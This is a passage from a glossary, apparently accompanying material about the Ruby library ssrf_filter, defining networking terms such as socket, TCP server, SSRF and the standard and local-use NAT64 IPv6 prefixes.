- Routable: reachable, meaning the network knows how to deliver traffic to that address.
- Ruby: a programming language;
ssrf_filteris written in it. - Server: a computer or program that answers requests from other computers.
- Socket: a program's handle on a network connection.
- SSRF (Server-Side Request Forgery): a bug where an attacker makes a server send a request on the attacker's behalf, often to reach internal systems.
- TCP server: a program that waits for connections on a port and handles them.
- Well-known prefix: the standard, globally agreed NAT64 prefix
64:ff9b::/96. - Local-use prefix: the NAT64 prefix
64:ff9b:1::/48, intended for use inside a private network.